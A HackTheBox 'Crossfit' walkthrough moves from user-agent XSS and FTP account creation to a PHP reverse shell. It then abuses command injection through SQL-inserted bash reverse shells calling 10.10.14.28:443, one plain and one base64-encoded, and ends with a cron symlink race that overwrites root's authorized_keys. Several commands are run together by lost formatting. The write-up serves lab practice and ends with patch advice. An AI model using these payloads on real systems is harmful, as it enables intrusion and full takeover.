Hackthebox Crossfit WriteUp
Crossfit is an insanely tough box that includes tons of complex attacking vectors. Include a user agent XSS on the web server and then used js to register a ftp account at the backend server. After get a shell, there is a cronjob running as user isaac, that involved a CVE of a shell command application, after be the user isaac. It requires reverse engineering a 64bit binary to find a mgbus server running. Last by take advantage of dbmsg, overwrite the root id_rsa key by a local id_rsa key created on the attacker local machine. It mixes all sort of complex concetpts of Pentesting and it’s very good for practicing for real word scenarios. With all that being said, Let’s just jump in!
# Nmap 7.91 scan initiated Sun Feb 21 08:05:49 2021 as: nmap -T4 -A -p- -oN all -v 10.10.10.208
Increasing send delay for 10.10.10.208 from 0 to 5 due to 911 out of 2276 dropped probes since last increase.
Nmap scan report for 10.10.10.208
Host is up (0.10s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US
| Issuer: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020–04–30T19:16:46
| Not valid after: 3991–08–16T19:16:46
| MD5: 557c 36e4 424b 381e eb17 708a 6138 bd0f
|_SHA-1: 25ec d2fe 6c9d 7704 ec7d d792 8767 4bc3 8d0e cbce
|_ssl-date: TLS randomness does not represent time
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| 2048 b0:e7:5f:5f:7e:5a:4f:e8:e4:cf:f1:98:01:cb:3f:52 (RSA)
| 256 67:88:2d:20:a5:c1:a7:71:50:2b:c8:07:a4:b2:60:e5 (ECDSA)
|_ 256 62:ce:a3:15:93:c8:8c:b6:8e:23:1d:66:52:f4:4f:ef (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
looking closer to port 21
nmap -sC -sV -p 21 -vvv 10.10.10.208
Add this sub-domain to host file
echo ‘10.10.10.208 gym-club.crossfit.htb’ >> /etc/hosts
Head over http://gym-club.crossfit.htb/blog-single.php and try XSS but got detected but I think it implies something, maybe the XSS vuln at other places on this page, I’m going to send the request to burp and play around.
Found the user agent on this page is vulnerable to XSS. Tried stealing cookies but not getting anything. So, I’m going to fuzz if there are other sub domains.
Run ffuf with wordlist seclists and mr (match regular expression) Access-
Control-Allow — Origin
Head over to the ‘ftp.crossfit.htb’ server but it’s not showing anything, So is it a backend server that can only be accessed by internal server?
Let’s check the ftp.crossfit.htb server by making a js file for XSS and see what it has.
Seems like it’s a ftp account creating page, So, I’m going to take a close look at that page. I named it as 4request.js and XSS to it.
Base64 decode it and it shows how to create a ftp account. So, I’m going to create a ftp account and send a request to the server.
Making another js file to create a ftp account
Base64 decode again and account created successfully.
lftp login for bypassing SSL certificate checking because I can’t login by ftp. After logged in by lftp and “set ssl:verify-certificate no” to disable certificate verification.
After browsing around all the directories, I found that only the development-test can write files. So, I’m going to put a php reverse shell and trigger it by another JS file by XSS.
Finally got a shell and use
python3 -c “import pty;pty.spawn(‘/bin/bash’)stty raw -echo ;fg [Enter] to get an interactive shell for future PriEsc.
PriEsc to user hank:
Have run linpeas.sh and found hank’s password hash, I will crack it by john
Used the password john just cracked and login to hank’s account.
There are two users however.
PriEsc to user isaac:
Check crontab and find out user isaac is executing cronjob
Take a closer look what isasc is executing.
PHP: FilesystemIterator - Manual
You may be wondering, like I did, what is the difference between this class and DirectoryIterator? When you iteterate…
Check CVE and found there is a Command Injection for this Github package.
Snyk - Command Injection in mikehaertl/php-shellcommand
Command Injection affecting mikehaertl/php-shellcommand - SNYK-PHP-MIKEHAERTLPHPSHELLCOMMAND-538426.
The CVE is that it will execute whatever inside the addArg(), So, what if we insert a command into eamil columns at user table and let it executes to get a shell?
Found user ftpadm’s credentials, use creds to lftp and put php executable shell below into message directory.
Return to hank account and login to database crossfit by below credentials.
We can see there are id and eamil columns in users table.
I tested two ways to inject a shell command, either way will work for this instance.
Way First =>
INSERT INTO users (id,email) values (9001,”-E$(bash -c ‘bash -i >& /dev/tcp/10.10.14.28/443 0>&1’)”);
Way Second =>
base64 encoded the command first then inject into the database user table.
echo -n “bash -c ‘bash -i >& /dev/tcp/10.10.x.x/443 0>&1’” | base64INSERT INTO users (email) values (‘$(echo -n YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSc= | base64 -d | bash)’);
We are user isaac, Now run following commands to get an interactive shell.
python3 -c “import pty;pty.spawn(‘/bin/bash’)”stty raw -echo ; fg [Enter]
PriEsc to root:
Download pspy and run pspy -f to monitor all running processes in the machine and there is a dbmeg running every minute, because linux’s dmesg is for displaying control kernel buffer never heard of dbmesg, Threrefore, by the name it may indicates database again?
Looks like it it’s 64bit binary file So I’m going to move it to my local machine and reverse engineering to find out what it does.
Moved it by nc
srand(time(NULL)) doesn't change seed value quick enough
I have written a simple random number generator in C. int l is the lower bound and int u is the upper bound. It works…
The data shows it selects message then symlink to /var/local. So, what if we insert code in DB message’s table and it will be written dbmsg that runs as cronjob with root privilege to generates a random number with a “seed” or “base” of the time of the remote machine. We can also create a C program that runs at the same time as dbmsg, this will create the same random number. C syetem uses libraries like GUN /libc that have the same function of random number generator.
The use isaac in the staff gourp and it can symlink to local so the exploit would be cerate a symlink to /root/.ssh/authorized_key and dbmsg will write whatever inserts in the message’s table in the srand seed tiem frame.
The program looks like below, the idea is to creare a file that contains random number BEFORE dbmsg overwirte it.
Transfer it to isaac’s account and then run following commands to compile and make it executable.
gcc read.c -o readchmod 775 read
Make ssh key pair in local machine and inset the id_rsa.pub key to the mssage table’s columns.
ssh-keygen -t ed25519 -f id_rsaINSERT INTO messages (id,name,email,message) values (1,’ssh-ed25519',’root@kali’,‘AAAAC3NzaC1lZDI1NTE5AAAAIFQftFiA5BqBHhS4a/xI+Fg7DEWyJEIxWkAPRZ2+b0Io’);
QUICK run followling whilke loop to overwrite the root’s authorized key to our id_rsa.key on user isaac’s account NOT hank’s account.
while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./read) 1 | md5sum | cut -d “” -f 1) 2> /dev/null; done
Back to local machine and run follow command to login to the root account by our id_rsa key!
chmod 600 id_rsassh -i id_rsa email@example.com
Boom! We finally got root!
Patch the vulnerbilities:
- Disable user agent’s XSS
- Update or remove the Command Injection in mikehaertl/php-shellcommand program in isaac’s account.
- Chang dbmsg’s srand seed time to time(NULL) to prevent time gap.
- Disable isaac’s staff group.